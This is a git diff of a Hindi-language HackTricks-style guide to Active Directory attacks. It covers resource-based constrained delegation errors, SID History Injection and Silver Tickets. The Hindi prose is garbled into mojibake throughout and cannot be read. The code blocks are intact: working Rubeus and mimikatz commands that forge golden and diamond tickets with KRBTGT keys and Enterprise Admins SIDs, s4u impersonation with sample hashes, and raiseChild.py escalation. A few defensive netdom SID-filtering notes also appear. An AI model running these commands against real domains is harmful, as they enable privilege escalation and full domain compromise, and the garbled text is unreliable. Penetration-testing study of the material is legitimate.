рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ -[**рдпрд╣рд╛рдВ рдЙрдкрд▓рдмреНрдз рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВ**](silver-ticket.md#available-services). +[**рдпрд╣рд╛рдВ рдЙрдкрд▓рдмреНрдз рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВ**](silver-ticket.md#available-services)ред ## Kerberos рддреНрд░реБрдЯрд┐рдпрд╛рдБ -- **`KDC_ERR_ETYPE_NOTSUPP`**: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ kerberos рдХреЛ DES рдпрд╛ RC4 рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЖрдк рдХреЗрд╡рд▓ RC4 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░ рд░рд╣реЗ рд╣реИрдВред Rubeus рдХреЛ рдХрдо рд╕реЗ рдХрдо AES256 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ (рдпрд╛ рдмрд╕ рдЗрд╕реЗ rc4, aes128 рдФрд░ aes256 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ)ред рдЙрджрд╛рд╣рд░рдг: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` -- **`KRB_AP_ERR_SKEW`**: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡рд░реНрддрдорд╛рди рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ рд╕рдордп DC рдХреЗ рд╕рдордп рд╕реЗ рдЕрд▓рдЧ рд╣реИ рдФрд░ kerberos рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИред +- **`KDC_ERR_ETYPE_NOTSUPP`**: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ kerberos рдХреЛ DES рдпрд╛ RC4 рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЖрдк рдХреЗрд╡рд▓ RC4 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░ рд░рд╣реЗ рд╣реИрдВред Rubeus рдХреЛ рдХрдо рд╕реЗ рдХрдо AES256 рд╣реИрд╢ (рдпрд╛ рдмрд╕ rc4, aes128 рдФрд░ aes256 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ) рджреЗрдВред рдЙрджрд╛рд╣рд░рдг: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` +- **`KRB_AP_ERR_SKEW`**: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡рд░реНрддрдорд╛рди рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ рд╕рдордп DC рдХреЗ рд╕рдордп рд╕реЗ рднрд┐рдиреНрди рд╣реИ рдФрд░ kerberos рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИред - **`preauth_failed`**: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рджрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо + рд╣реИрд╢ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЖрдк рд╣реИрд╢ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╕рдордп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рдЕрдВрджрд░ "$" рдбрд╛рд▓рдирд╛ рднреВрд▓ рдЧрдП рд╣реЛрдВрдЧреЗ (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) - **`KDC_ERR_BADOPTION`**: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд┐рд╕реЗ рдЖрдк рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рд╡рд╛рдВрдЫрд┐рдд рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддрд╛ (рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдЗрд╕реЗ рдЕрдиреБрдХрд░рдг рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рд╣реИрдВ) @@ -115,5 +115,7 @@ ls \\victim.domain.local\C$ - [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) +- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index d36c84989..8e97c2103 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -4,19 +4,47 @@ ## SID History Injection Attack -**SID History Injection Attack** рдХрд╛ рдзреНрдпрд╛рди **рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рдЗрдЧреНрд░реЗрд╢рди** рдореЗрдВ рд╕рд╣рд╛рдпрддрд╛ рдХрд░рдирд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреВрд░реНрд╡ рдбреЛрдореЗрди рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдирд┐рд░рдВрддрд░ рдкрд╣реБрдВрдЪ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИред рдпрд╣ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд┐рдЫрд▓реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ (SID) рдХреЛ рдЙрдирдХреЗ рдирдП рдЦрд╛рддреЗ рдХреЗ SID рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рдореВрд╣ (рдЬреИрд╕реЗ Enterprise Admins рдпрд╛ Domain Admins) рдХреЗ SID рдХреЛ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдбреЛрдореЗрди рд╕реЗ SID рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рдЬреЛрдбрд╝рдХрд░ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдЗрд╕ рд╢реЛрд╖рдг рд╕реЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓рддреА рд╣реИред +**SID History Injection Attack** рдХрд╛ рдзреНрдпрд╛рди **рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рдЗрдЧреНрд░реЗрд╢рди** рдореЗрдВ рдорджрдж рдХрд░рдирд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреВрд░реНрд╡ рдбреЛрдореЗрди рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдирд┐рд░рдВрддрд░ рдкрд╣реБрдВрдЪ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИред рдпрд╣ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд┐рдЫрд▓реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ (SID) рдХреЛ рдЙрдирдХреЗ рдирдП рдЦрд╛рддреЗ рдХреЗ SID рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рдореВрд╣ (рдЬреИрд╕реЗ Enterprise Admins рдпрд╛ Domain Admins) рдХреЗ SID рдХреЛ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдбреЛрдореЗрди рд╕реЗ SID рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рдЬреЛрдбрд╝рдХрд░ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдпрд╣ рд╢реЛрд╖рдг рдорд╛рддрд╛-рдкрд┐рддрд╛ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рддрд░реАрдХреЗ рд╣реИрдВ: рдпрд╛ рддреЛ **Golden Ticket** рдпрд╛ **Diamond Ticket** рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рдХреЗред +рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рддрд░реАрдХреЗ рд╣реИрдВ: рдпрд╛ рддреЛ **Golden Ticket** рдпрд╛ **Diamond Ticket** рдмрдирд╛рдиреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред -**"Enterprise Admins"** рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП SID рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП, рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рд░реВрдЯ рдбреЛрдореЗрди рдХрд╛ SID рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛ред рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рдж, Enterprise Admins рд╕рдореВрд╣ SID рдХреЛ рд░реВрдЯ рдбреЛрдореЗрди рдХреЗ SID рдореЗрдВ `-519` рдЬреЛрдбрд╝рдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рд░реВрдЯ рдбреЛрдореЗрди SID `S-1-5-21-280534878-1496970234-700767426` рд╣реИ, рддреЛ "Enterprise Admins" рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк SID `S-1-5-21-280534878-1496970234-700767426-519` рд╣реЛрдЧрд╛ред +**"Enterprise Admins"** рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП SID рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП, рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рд░реВрдЯ рдбреЛрдореЗрди рдХреЗ SID рдХреЛ рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛ред рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рдж, Enterprise Admins рд╕рдореВрд╣ SID рдХреЛ рд░реВрдЯ рдбреЛрдореЗрди рдХреЗ SID рдореЗрдВ `-519` рдЬреЛрдбрд╝рдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рд░реВрдЯ рдбреЛрдореЗрди SID `S-1-5-21-280534878-1496970234-700767426` рд╣реИ, рддреЛ "Enterprise Admins" рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк SID `S-1-5-21-280534878-1496970234-700767426-519` рд╣реЛрдЧрд╛ред рдЖрдк **Domain Admins** рд╕рдореВрд╣реЛрдВ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ **512** рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рджреВрд╕рд░реЗ рдбреЛрдореЗрди рдХреЗ рдПрдХ рд╕рдореВрд╣ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП "Domain Admins") рдХрд╛ SID рдЦреЛрдЬрдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ: -```powershell +```bash Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` -### рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ (Mimikatz) KRBTGT-AES256 рдХреЗ рд╕рд╛рде +> [!WARNING] +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рдореЗрдВ SID рдЗрддрд┐рд╣рд╛рд╕ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╣рдорд▓рд╛ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред + +[**docs**](https://technet.microsoft.com/library/cc835085.aspx) рдХреЗ рдЕрдиреБрд╕рд╛рд░: +- **рдиреЗрдЯрдбреЙрдо рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлреЙрд░реЗрд╕реНрдЯ рдЯреНрд░рд╕реНрдЯ рдкрд░ SIDHistory рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛** (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) +- **рдиреЗрдЯрдбреЙрдо рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рд╣рд░реА рдЯреНрд░рд╕реНрдЯ рдкрд░ SID рдлрд╝рд┐рд▓реНрдЯрд░ рдХреНрд╡рд╛рд░рдВрдЯрд╛рдЗрди рд▓рд╛рдЧреВ рдХрд░рдирд╛** (`netdom trust /domain: /quarantine:yes on the domain controller`) +- **рдПрдХрд▓ рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рднреАрддрд░ рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ рдкрд░ SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рд▓рд╛рдЧреВ рдХрд░рдирд╛** рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдПрдХ рдЕрд╕рдорд░реНрдерд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реИ рдФрд░ рдЗрд╕рд╕реЗ рддреЛрдбрд╝рдиреЗ рд╡рд╛рд▓реЗ рдкрд░рд┐рд╡рд░реНрддрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдПрдХ рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рднреАрддрд░ рдПрдХ рдбреЛрдореЗрди рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИ, рддреЛ рдЗрд╕реЗ рдлреЙрд░реЗрд╕реНрдЯ рдХрд╛ рд╕рджрд╕реНрдп рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдкрд╣рд▓реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдФрд░ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдХреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдлреЙрд░реЗрд╕реНрдЯ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬрд╣рд╛рдВ SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЛ рдЗрдВрдЯрд░рдлреЙрд░реЗрд╕реНрдЯ рдЯреНрд░рд╕реНрдЯ рдкрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред + +рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4) + +### рдбрд╛рдпрдордВрдб рдЯрд┐рдХрдЯ (Rubeus + KRBTGT-AES256) + +рдЕрдВрддрд┐рдо рдмрд╛рд░ рдЬрдм рдореИрдВрдиреЗ рдпрд╣ рдХреЛрд╢рд┐рд╢ рдХреА рдереА, рддреЛ рдореБрдЭреЗ рдЖрд░реНрдЧ **`/ldap`** рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереАред +```bash +# Use the /sids param +Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap + +# Or a ptt with a golden ticket +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + +#e.g. + +execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd + +# You can use "Administrator" as username or any other string +``` +### Golden Ticket (Mimikatz) with KRBTGT-AES256 ```bash mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid: /sids: /aes256: /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" @@ -39,16 +67,7 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid golden-ticket.md {{#endref}} -### рдбрд╛рдпрдордВрдб рдЯрд┐рдХрдЯ (Rubeus + KRBTGT-AES256) -```powershell -# Use the /sids param -Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap -# Or a ptt with a golden ticket -Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt - -# You can use "Administrator" as username or any other string -``` рдбрд╛рдпрдордВрдб рдЯрд┐рдХрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: {{#ref}} @@ -109,10 +128,10 @@ psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.1 рдкреНрд░рд╡рд╛рд╣ рд╣реИ: - рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреЗ рдбреЛрдореЗрди рдХреЗ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рдПрдбрдорд┐рдиреНрд╕ рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП SID рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ -- рдмрдЪреНрдЪреЗ рдХреЗ рдбреЛрдореЗрди рдореЗрдВ KRBTGT рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ +- рдмрдЪреНрдЪреЗ рдХреЗ рдбреЛрдореЗрди рдореЗрдВ KRBTGT рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рд╣реИрд╢ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ - рдПрдХ рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рдмрдирд╛рддрд╛ рд╣реИ - рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреЗ рдбреЛрдореЗрди рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рддрд╛ рд╣реИ -- рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреЗ рдбреЛрдореЗрди рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ +- рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреЗ рдбреЛрдореЗрди рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ - рдпрджрд┐ `target-exec` рд╕реНрд╡рд┐рдЪ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ Psexec рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреЗ рдбреЛрдореЗрди рдХреЗ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИред ```bash raiseChild.py -target-exec 10.10.10.10 /username diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index bb18bc999..66547db2e 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,7 +6,11 @@ ## Silver ticket -**Silver Ticket** рд╣рдорд▓рд╛ Active Directory (AD) рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд╢реЛрд╖рдг рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ **рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХрд╛ NTLM рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ** рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддрд╛, рддрд╛рдХрд┐ рдПрдХ рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛ (TGS) рдЯрд┐рдХрдЯ рдХреЛ рдЬрд╛рд▓реА рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕ рдЬрд╛рд▓реА рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ, **рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП**, рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖реНрдп рдмрдирд╛рддреЗ рд╣реБрдПред рдпрд╣ рдЬреЛрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдЬрд╛рд▓реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП AES рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рдХрдо рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рд╣реИред +**Silver Ticket** рд╣рдорд▓рд╛ Active Directory (AD) рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд╢реЛрд╖рдг рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ **рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХрд╛ NTLM рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ** рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдПрдХ 